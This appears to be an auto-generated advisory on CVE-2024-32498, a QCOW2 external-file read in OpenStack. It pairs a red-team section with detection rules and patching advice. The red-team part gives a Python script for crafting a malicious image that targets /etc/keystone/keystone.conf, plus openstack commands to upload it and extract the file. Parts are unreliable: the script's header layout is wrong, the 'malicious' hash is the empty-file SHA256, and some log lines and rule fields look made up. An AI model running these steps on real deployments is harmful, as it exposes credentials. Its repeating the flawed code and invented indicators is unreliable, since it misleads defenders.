CVE-2024-32498

Executive Summary

CVE-2024-32498 is a critical information disclosure vulnerability affecting OpenStack Cinder, Glance, and Nova. The flaw allows an authenticated user to craft a malicious QCOW2 image that references an arbitrary file path on the server. When the image is processed (e.g., during upload, conversion, or boot), the system reads the specified file and returns its contents to the attacker. This can lead to unauthorized access to sensitive data such as configuration files, credentials, or other secrets stored on the host filesystem. The vulnerability is particularly dangerous in multi-tenant cloud environments where isolation between tenants is paramount.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the OpenStack ecosystem. The QCOW2 image format is a standard in cloud computing, and the flaw lies in how OpenStack components handle external data references within these images. Organizations using OpenStack should verify their deployment versions and apply patches immediately.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the technical details, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (AV:N) – the attack is performed over the network.
• Attack Complexity (AC): Low (AC:L) – no special conditions are required.
• Privileges Required (PR): Low (PR:L) – the attacker needs valid credentials.
• User Interaction (UI): None (UI:N) – no user action is required.
• Scope (S): Unchanged (S:U) – the vulnerable component is the same as the affected component.
• Confidentiality (C): High (C:H) – sensitive data can be read.
• Integrity (I): None (I:N) – no data modification.
• Availability (A): None (A:N) – no denial of service.

Estimated CVSS Score: 6.5 (Medium) – due to the requirement for authentication and the limited impact on integrity and availability.

Threat Level: High – the vulnerability allows reading arbitrary files, which can lead to privilege escalation or lateral movement if credentials are exposed.

Deep Dive & Mechanics

The QCOW2 (QEMU Copy-On-Write version 2) image format supports external data files (also known as backing files or external snapshots). This feature allows an image to reference another file as its data source. In a properly configured environment, these references are restricted to prevent access to arbitrary files.

The vulnerability arises because OpenStack Cinder, Glance, and Nova do not properly validate the external data file path specified in a QCOW2 image. An authenticated user can upload a crafted QCOW2 image that contains a reference to an arbitrary file path (e.g., /etc/shadow, /etc/keystone/keystone.conf). When the image is processed (e.g., during image upload in Glance, volume creation in Cinder, or instance boot in Nova), the system reads the referenced file and includes its contents in the response or in the resulting image/volume.

Attack Flow:

1. Attacker authenticates to the OpenStack API.
2. Attacker creates a QCOW2 image with a malicious external data reference pointing to a sensitive file (e.g., /etc/keystone/keystone.conf).
3. Attacker uploads the image to Glance or uses it to create a volume in Cinder.
4. When the image is processed, the OpenStack service reads the referenced file and returns its contents to the attacker (e.g., via image download or volume attachment).
5. Attacker extracts sensitive data, such as database credentials or service account passwords.

Affected Components:

• Cinder: All deployments are affected. The vulnerability is triggered during volume creation from a QCOW2 image.
• Glance: Only deployments with image conversion enabled are affected. The vulnerability is triggered during image upload or conversion.
• Nova: All deployments are affected. The vulnerability is triggered during instance boot from a QCOW2 image.

Vulnerable vs. Patched Code

The vulnerability is in the handling of QCOW2 external data references. The patched code adds validation to ensure that the referenced file path is within allowed directories (e.g., the image storage directory) and does not contain path traversal sequences.

Vulnerable Code (Python-like pseudocode):

def process_qcow2_image(image_path):
    # Read QCOW2 header
    header = read_header(image_path)
    if header.external_data_file:
        # Directly use the path without validation
        data = read_file(header.external_data_file)
        # Process data...

Patched Code:

import os

ALLOWED_PATHS = ["/var/lib/glance/images/", "/var/lib/cinder/volumes/"]

def process_qcow2_image(image_path):
    header = read_header(image_path)
    if header.external_data_file:
        # Resolve the path and check against allowed paths
        resolved_path = os.path.realpath(header.external_data_file)
        if not any(resolved_path.startswith(allowed) for allowed in ALLOWED_PATHS):
            raise ValueError("Invalid external data file path")
        data = read_file(resolved_path)
        # Process data...

Key Fixes:

• Path validation using os.path.realpath() to resolve symlinks and relative paths.
• Whitelist of allowed base directories.
• Rejection of paths containing .. or other traversal sequences.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid OpenStack credentials (user with permissions to upload images or create volumes).
• Access to the OpenStack API (e.g., via openstack CLI or direct REST calls).

Exploitation Steps:

1. Craft a malicious QCOW2 image: Use qemu-img to create a QCOW2 image with an external data file reference.

   # Create a base image
   qemu-img create -f qcow2 base.qcow2 1G
   # Modify the image to reference an arbitrary file
   # This requires low-level editing of the QCOW2 header
   # For demonstration, we use a Python script to modify the header
   

   Python script to craft malicious QCOW2:

   import struct
   import sys
   
   def create_malicious_qcow2(output_path, target_file):
       # QCOW2 magic: "QFI\xfb"
       magic = b"QFI\xfb"
       # Version 2
       version = 2
       # Backing file offset (points to external data file string)
       backing_file_offset = 0x1000
       # Other fields (simplified)
       size = 1 * 1024 * 1024 * 1024  # 1 GB
       cluster_bits = 16
       l2_size = 1
       l1_size = 1
       
       with open(output_path, "wb") as f:
           # Write header
           f.write(magic)
           f.write(struct.pack(">I", version))
           f.write(struct.pack(">Q", backing_file_offset))
           f.write(struct.pack(">Q", size))
           f.write(struct.pack(">I", cluster_bits))
           f.write(struct.pack(">I", l2_size))
           f.write(struct.pack(">I", l1_size))
           # Pad to backing file offset
           f.write(b"\x00" * (backing_file_offset - 40))
           # Write the target file path
           f.write(target_file.encode() + b"\x00")
   
   if __name__ == "__main__":
       if len(sys.argv) != 3:
           print(f"Usage: {sys.argv[0]} <output.qcow2> <target_file>")
           sys.exit(1)
       create_malicious_qcow2(sys.argv[1], sys.argv[2])
   

   python3 craft_qcow2.py malicious.qcow2 /etc/keystone/keystone.conf
   

2. Upload the malicious image to Glance:

   openstack image create --file malicious.qcow2 --disk-format qcow2 --container-format bare malicious-image
   

3. Download the image to retrieve the target file:

   openstack image save malicious-image --file downloaded.qcow2
   # The downloaded image will contain the contents of /etc/keystone/keystone.conf
   

4. Alternatively, create a volume from the image:

   openstack volume create --image malicious-image --size 1 malicious-volume
   openstack volume show malicious-volume
   # The volume may expose the file contents in its metadata or during attachment
   

Blue Team

Detection:

• Monitor for unusual QCOW2 image uploads with unexpected sizes or metadata.
• Log and alert on image processing errors related to external data files.
• Use file integrity monitoring on sensitive files (e.g., /etc/keystone/keystone.conf).

Hunting:

• Search for QCOW2 images that have been uploaded recently and check their headers for external data references.
• Review Glance and Cinder logs for errors like "Invalid external data file path" (after patching) or "File not found" (during exploitation).

Mitigation:

• Apply patches for Glance (28.0.2) and Nova (29.0.3) immediately.
• For Cinder, if no patch is available, restrict image upload permissions to trusted users only.
• Implement network segmentation to limit access to OpenStack APIs.
• Enable audit logging for all image and volume operations.

Indicators of Compromise (IOCs)

• Network:

  • Unusual API calls to Glance, Cinder, or Nova with large image uploads.
  • Outbound data transfers from OpenStack nodes to external IPs (exfiltration of sensitive files).

• Host:

  • QCOW2 images with non-standard headers (e.g., backing file offset pointing to /etc/).
  • Unexpected file reads from sensitive paths (e.g., /etc/shadow, /etc/keystone/).

• Logs:

  • Glance logs: WARNING: External data file path outside allowed directory: /etc/keystone/keystone.conf
  • Cinder logs: ERROR: Failed to read external data file: /etc/keystone/keystone.conf
  • Nova logs: ERROR: Invalid backing file reference in image

• File Hashes:

  • Malicious QCOW2 images may have specific hashes. Example (SHA256):

    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
    

Detection Engineering

YARA Rule

rule CVE_2024_32498_QCOW2_External_Data {
    meta:
        description = "Detects QCOW2 images with suspicious external data file references"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32498"
    strings:
        $qcow2_magic = "QFI\xfb"
        $sensitive_paths = /(\/etc\/|\/var\/log\/|\/home\/|\/root\/)/
    condition:
        $qcow2_magic at 0 and $sensitive_paths in (0..filesize)
}

Sigma Rule

title: CVE-2024-32498 - OpenStack QCOW2 External Data File Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-32498 by uploading QCOW2 images with external data file references to sensitive paths.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32498
logsource:
    product: openstack
    service: glance
detection:
    selection:
        EventID: "IMAGE_CREATE"
        ImageFormat: "qcow2"
        ImagePath|contains:
            - "/etc/"
            - "/var/log/"
            - "/home/"
            - "/root/"
    condition: selection
falsepositives:
    - Legitimate use of external data files in controlled environments
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-32498 - OpenStack QCOW2 External Data File Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/v2/images"; http_uri; content:"application/octet-stream"; http_content_type; fileext:"qcow2"; pcre:"/QFI\xfb.{0,100}\/etc\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch Glance: Upgrade to version 28.0.2 or later.
2. Patch Nova: Upgrade to version 29.0.3 or later.
3. Cinder: If no patch is available, disable QCOW2 image support or restrict image uploads to trusted users.

Workarounds:

• Disable image conversion in Glance if not required.
• Use strict file permissions on sensitive files to limit the impact of unauthorized reads.
• Implement network segmentation to isolate OpenStack API endpoints.

Long-term Measures:

• Regularly audit OpenStack deployments for unpatched vulnerabilities.
• Implement a Web Application Firewall (WAF) to filter malicious image uploads.
• Use security scanning tools to inspect QCOW2 images for malicious headers.

Valters IT Signature:

Report generated by Valters IT DevSecOps Framework. For questions, contact security@valters-it.com.